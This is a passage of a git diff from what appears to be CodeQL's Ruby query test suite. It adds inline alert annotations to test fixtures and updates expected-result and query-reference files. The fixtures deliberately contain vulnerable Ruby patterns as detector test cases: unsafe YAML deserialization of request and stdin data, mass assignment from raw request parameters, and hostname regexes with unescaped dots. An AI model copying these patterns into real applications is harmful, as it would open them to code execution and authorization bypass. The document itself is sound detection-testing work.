UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | value from stdin | edges | UnsafeYamlDeserialization.rb:10:5:10:13 | yaml_data | UnsafeYamlDeserialization.rb:11:25:11:33 | yaml_data | provenance | | | UnsafeYamlDeserialization.rb:10:17:10:22 | call to params | UnsafeYamlDeserialization.rb:10:17:10:28 | ...[...] | provenance | | @@ -39,18 +54,3 @@ nodes | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | semmle.label | call to gets | | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | semmle.label | call to readlines | subpaths -#select -| UnsafeYamlDeserialization.rb:11:25:11:33 | yaml_data | UnsafeYamlDeserialization.rb:10:17:10:22 | call to params | UnsafeYamlDeserialization.rb:11:25:11:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:10:17:10:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:18:25:18:33 | yaml_data | UnsafeYamlDeserialization.rb:17:17:17:22 | call to params | UnsafeYamlDeserialization.rb:18:25:18:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:17:17:17:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:33:32:33:40 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:33:32:33:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:34:37:34:45 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:34:37:34:45 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:35:32:35:40 | yaml_data | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:35:32:35:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:37:14:37:33 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:37:14:37:33 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:38:14:38:43 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:38:14:38:43 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:39:14:39:48 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:39:14:39:48 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:49:14:49:32 | call to to_ruby | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | UnsafeYamlDeserialization.rb:49:14:49:32 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:32:17:32:22 | call to params | user-provided value | -| UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:61:24:61:34 | call to read | value from stdin | -| UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:64:24:64:33 | call to gets | value from stdin | -| UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:67:24:67:32 | call to read | value from stdin | -| UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:70:24:70:27 | call to gets | value from stdin | -| UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | Unsafe deserialization depends on a $@. | UnsafeYamlDeserialization.rb:73:24:73:32 | call to readlines | value from stdin | diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref index 991ba757e43..f7fb7dfe3fc 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref @@ -1 +1,2 @@ -experimental/cwe-502/UnsafeYamlDeserialization.ql \ No newline at end of file +query: experimental/cwe-502/UnsafeYamlDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb index c9b186e0915..dc3e1cbab95 100644 --- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb +++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb @@ -7,15 +7,15 @@ require "yaml" class UsersController < ActionController::Base # BAD before psych version 4.0.0 and def route1 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route2 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -29,14 +29,14 @@ class UsersController < ActionController::Base # BAD def route4 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert parsed_yaml = Psych.parse_stream(yaml_data) parsed_yaml.children.each do |child| object = child.to_ruby @@ -46,7 +46,7 @@ class UsersController < ActionController::Base end object = parsed_yaml.children.first.to_ruby content = parsed_yaml.children[0].children[0].children - object = parsed_yaml.to_ruby[0] + object = parsed_yaml.to_ruby[0] # $ Alert object = content.to_ruby[0] object = Psych.parse(yaml_data).children[0].to_ruby end @@ -58,18 +58,18 @@ class UsersController < ActionController::Base end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end end diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.expected b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.expected index e0e85b75ebb..b4dc532a38b 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.expected +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.expected @@ -1,3 +1,11 @@ +#select +| ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:12:8:12:22 | ... == ... | ManuallyCheckHttpVerb.rb:11:14:11:24 | call to env | ManuallyCheckHttpVerb.rb:12:8:12:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:20:8:20:22 | ... == ... | ManuallyCheckHttpVerb.rb:19:14:19:35 | call to request_method | ManuallyCheckHttpVerb.rb:20:8:20:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:28:8:28:22 | ... == ... | ManuallyCheckHttpVerb.rb:27:14:27:27 | call to method | ManuallyCheckHttpVerb.rb:28:8:28:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:36:8:36:22 | ... == ... | ManuallyCheckHttpVerb.rb:35:14:35:39 | call to raw_request_method | ManuallyCheckHttpVerb.rb:36:8:36:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:52:10:52:23 | ... == ... | ManuallyCheckHttpVerb.rb:51:16:51:44 | call to request_method_symbol | ManuallyCheckHttpVerb.rb:52:10:52:23 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | +| ManuallyCheckHttpVerb.rb:59:10:59:38 | ...[...] | ManuallyCheckHttpVerb.rb:59:10:59:20 | call to env | ManuallyCheckHttpVerb.rb:59:10:59:38 | ...[...] | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | edges | ManuallyCheckHttpVerb.rb:11:5:11:10 | method | ManuallyCheckHttpVerb.rb:12:8:12:22 | ... == ... | provenance | | | ManuallyCheckHttpVerb.rb:11:14:11:24 | call to env | ManuallyCheckHttpVerb.rb:11:14:11:42 | ...[...] | provenance | | @@ -32,11 +40,3 @@ nodes | ManuallyCheckHttpVerb.rb:59:10:59:20 | call to env | semmle.label | call to env | | ManuallyCheckHttpVerb.rb:59:10:59:38 | ...[...] | semmle.label | ...[...] | subpaths -#select -| ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | ManuallyCheckHttpVerb.rb:4:8:4:19 | call to get? | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:12:8:12:22 | ... == ... | ManuallyCheckHttpVerb.rb:11:14:11:24 | call to env | ManuallyCheckHttpVerb.rb:12:8:12:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:20:8:20:22 | ... == ... | ManuallyCheckHttpVerb.rb:19:14:19:35 | call to request_method | ManuallyCheckHttpVerb.rb:20:8:20:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:28:8:28:22 | ... == ... | ManuallyCheckHttpVerb.rb:27:14:27:27 | call to method | ManuallyCheckHttpVerb.rb:28:8:28:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:36:8:36:22 | ... == ... | ManuallyCheckHttpVerb.rb:35:14:35:39 | call to raw_request_method | ManuallyCheckHttpVerb.rb:36:8:36:22 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:52:10:52:23 | ... == ... | ManuallyCheckHttpVerb.rb:51:16:51:44 | call to request_method_symbol | ManuallyCheckHttpVerb.rb:52:10:52:23 | ... == ... | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | -| ManuallyCheckHttpVerb.rb:59:10:59:38 | ...[...] | ManuallyCheckHttpVerb.rb:59:10:59:20 | call to env | ManuallyCheckHttpVerb.rb:59:10:59:38 | ...[...] | Manually checking HTTP verbs is an indication that multiple requests are routed to the same controller action. This could lead to bypassing necessary authorization methods and other protections, like CSRF protection. Prefer using different controller actions for each HTTP method and relying Rails routing to handle mapping resources and verbs to specific methods. | diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref index 463c21cd0f2..455d02aef04 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref @@ -1 +1,2 @@ -experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql \ No newline at end of file +query: experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb index 055e9d98638..0dc9df65603 100644 --- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb +++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb @@ -1,39 +1,39 @@ class ExampleController < ActionController::Base # Should find def example_action - if request.get? + if request.get? # $ Alert Resource.find(id: params[:example_id]) end end # Should find def other_action - method = request.env['REQUEST_METHOD'] - if method == "GET" + method = request.env['REQUEST_METHOD'] # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def foo - method = request.request_method - if method == "GET" + method = request.request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def bar - method = request.method - if method == "GET" + method = request.method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end # Should find def baz - method = request.raw_request_method - if method == "GET" + method = request.raw_request_method # $ Source + if method == "GET" # $ Alert Resource.find(id: params[:id]) end end @@ -48,15 +48,15 @@ class ExampleController < ActionController::Base # Should find def foobarbaz - method = request.request_method_symbol - if method == :GET + method = request.request_method_symbol # $ Source + if method == :GET # $ Alert Resource.find(id: params[:id]) end end # Should find def resource_action - case request.env['REQUEST_METHOD'] + case request.env['REQUEST_METHOD'] # $ Alert when "GET" Resource.find(id: params[:id]) when "POST" diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.expected b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.expected index 4f72a24cee7..6dd6637abd4 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.expected +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.expected @@ -1,3 +1,8 @@ +#select +| WeakParams.rb:5:28:5:59 | ...[...] | WeakParams.rb:5:28:5:53 | call to request_parameters | WeakParams.rb:5:28:5:59 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | +| WeakParams.rb:10:28:10:57 | ...[...] | WeakParams.rb:10:28:10:51 | call to query_parameters | WeakParams.rb:10:28:10:57 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | +| WeakParams.rb:15:28:15:45 | ...[...] | WeakParams.rb:15:28:15:39 | call to POST | WeakParams.rb:15:28:15:45 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | +| WeakParams.rb:20:28:20:44 | ...[...] | WeakParams.rb:20:28:20:38 | call to GET | WeakParams.rb:20:28:20:44 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | edges | WeakParams.rb:5:28:5:53 | call to request_parameters | WeakParams.rb:5:28:5:59 | ...[...] | provenance | | | WeakParams.rb:10:28:10:51 | call to query_parameters | WeakParams.rb:10:28:10:57 | ...[...] | provenance | | @@ -13,8 +18,3 @@ nodes | WeakParams.rb:20:28:20:38 | call to GET | semmle.label | call to GET | | WeakParams.rb:20:28:20:44 | ...[...] | semmle.label | ...[...] | subpaths -#select -| WeakParams.rb:5:28:5:59 | ...[...] | WeakParams.rb:5:28:5:53 | call to request_parameters | WeakParams.rb:5:28:5:59 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | -| WeakParams.rb:10:28:10:57 | ...[...] | WeakParams.rb:10:28:10:51 | call to query_parameters | WeakParams.rb:10:28:10:57 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | -| WeakParams.rb:15:28:15:45 | ...[...] | WeakParams.rb:15:28:15:39 | call to POST | WeakParams.rb:15:28:15:45 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | -| WeakParams.rb:20:28:20:44 | ...[...] | WeakParams.rb:20:28:20:38 | call to GET | WeakParams.rb:20:28:20:44 | ...[...] | By exposing all keys in request parameters or by blindy accessing them, unintended parameters could be used and lead to mass-assignment or have other unexpected side-effects. It is safer to follow the 'strong parameters' pattern in Rails, which is outlined here: https://api.rubyonrails.org/classes/ActionController/StrongParameters.html | diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref index 5350e4bf40a..96a41103dd4 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref @@ -1 +1,2 @@ -experimental/weak-params/WeakParams.ql \ No newline at end of file +query: experimental/weak-params/WeakParams.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb index a5edef2e6dc..89a495a4096 100644 --- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb +++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb @@ -2,22 +2,22 @@ class TestController < ActionController::Base # Should catch def create - TestObject.create(foo: request.request_parameters[:foo]) + TestObject.create(foo: request.request_parameters[:foo]) # $ Alert end # Should catch def create_query - TestObject.create(foo: request.query_parameters[:foo]) + TestObject.create(foo: request.query_parameters[:foo]) # $ Alert end # Should catch def update_unsafe - TestObject.update(foo: request.POST[:foo]) + TestObject.update(foo: request.POST[:foo]) # $ Alert end # Should catch def update_unsafe_get - TestObject.update(foo: request.GET[:foo]) + TestObject.update(foo: request.GET[:foo]) # $ Alert end # Should not catch diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref index 31546437598..53ed649c7e4 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLines.qlref @@ -1 +1 @@ -queries/metrics/FLines.ql \ No newline at end of file +query: queries/metrics/FLines.ql diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref index cb4dd2b8767..c77e9739c0a 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfCode.qlref @@ -1 +1 @@ -queries/metrics/FLinesOfCode.ql \ No newline at end of file +query: queries/metrics/FLinesOfCode.ql diff --git a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref index 766ae4bcc59..3f0bff7371d 100644 --- a/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref +++ b/ruby/ql/test/query-tests/metrics/FLines/FLinesOfComments.qlref @@ -1 +1 @@ -queries/metrics/FLinesOfComments.ql \ No newline at end of file +query: queries/metrics/FLinesOfComments.ql diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref index f2a94b28c40..453e0a3f399 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref @@ -1 +1,2 @@ -experimental/performance/UseDetect.ql +query: experimental/performance/UseDetect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb index e1d2d9b91ba..2c2602e72e6 100644 --- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb +++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb @@ -2,14 +2,14 @@ class DetectTest def test # These are bad - [].select { |i| true }.first - [].select { |i| true }.last - [].select { |i| true }[0] - [].select { |i| true }[-1] - [].filter { |i| true }.first - [].find_all { |i| true }.last + [].select { |i| true }.first # $ Alert + [].select { |i| true }.last # $ Alert + [].select { |i| true }[0] # $ Alert + [].select { |i| true }[-1] # $ Alert + [].filter { |i| true }.first # $ Alert + [].find_all { |i| true }.last # $ Alert selection1 = [].select { |i| true } - selection1.first + selection1.first # $ Alert # These are good [].select("").first # Selecting a string diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref index 7fd45d159ce..93a6200ff17 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref @@ -1 +1,2 @@ -queries/security/cwe-020/IncompleteHostnameRegExp.ql \ No newline at end of file +query: queries/security/cwe-020/IncompleteHostnameRegExp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb index 5a5c96692ce..32aa8ad9491 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb @@ -1,6 +1,6 @@ -UNSAFE_REGEX1 = /(www|beta).example.com\// -UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") -UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") +UNSAFE_REGEX1 = /(www|beta).example.com\// # $ Alert +UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") # $ Alert +UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") # $ Alert SAFE_REGEX = /(www|beta)\.example\.com\// def unsafe diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb index 7041e4dc9c4..7d29b530acf 100644 --- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb +++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb @@ -1,31 +1,31 @@ def foo /^http:\/\/example.com/; # OK - /^http:\/\/test.example.com/; # NOT OK + /^http:\/\/test.example.com/; # NOT OK # $ Alert /^http:\/\/test\.example.com/; # OK - /^http:\/\/test.example.net/; # NOT OK - /^http:\/\/test.(example-a|example-b).com/; # NOT OK - /^http:\/\/(.+).example.com\//; # NOT OK + /^http:\/\/test.example.net/; # NOT OK # $ Alert + /^http:\/\/test.(example-a|example-b).com/; # NOT OK # $ Alert + /^http:\/\/(.+).example.com\//; # NOT OK # $ Alert /^http:\/\/(\.+)\.example.com/; # OK - /^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK - /^http:\/\/test.example.com\/(?:.*)/; # OK - Regexp.new("^http://test.example.com"); # NOT OK - if (s.match("^http://test.example.com")); end # NOT OK + /^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK # $ Alert + /^http:\/\/test.example.com\/(?:.*)/; # OK # $ Alert + Regexp.new("^http://test.example.com"); # NOT OK # $ Alert + if (s.match("^http://test.example.com")); end # NOT OK # $ Alert - Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK + Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK # $ Alert - Regexp.new(`test.example.com$`); # NOT OK + Regexp.new(`test.example.com$`); # NOT OK # $ Alert - hostname = '^test.example.com'; # NOT OK - Regexp.new("#{hostname}$"); + hostname = '^test.example.com'; # NOT OK # $ Alert + Regexp.new("#{hostname}$"); # $ Alert - domain = { hostname: 'test.example.com$' }; # NOT OK + domain = { hostname: 'test.example.com$' }; # NOT OK # $ Alert Regexp.new(domain[:hostname]); - convert1({ hostname: 'test.example.com$' }); # NOT OK + convert1({ hostname: 'test.example.com$' }); # NOT OK # $ Alert domains = [ { hostname: 'test.example.com$' } ]; # NOT OK - but not flagged due to limitations of TypeTracking. @@ -34,18 +34,18 @@ def foo domains.map{ |d| convert2(d) }; /^(.+\.(?:example-a|example-b)\.com)\//; # NOT OK - /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK - /^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK - /^(http:\/\/sub.example.com\/)/i; # NOT OK - /^https?:\/\/api.example.com/; # NOT OK - Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK + /^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK # $ Alert + /^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK # $ Alert + /^(http:\/\/sub.example.com\/)/i; # NOT OK # $ Alert + /^https?:\/\/api.example.com/; # NOT OK # $ Alert + Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK # $ Alert Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # NOT OK - /^https:\/\/[a-z]*.example.com$/; # NOT OK - Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # 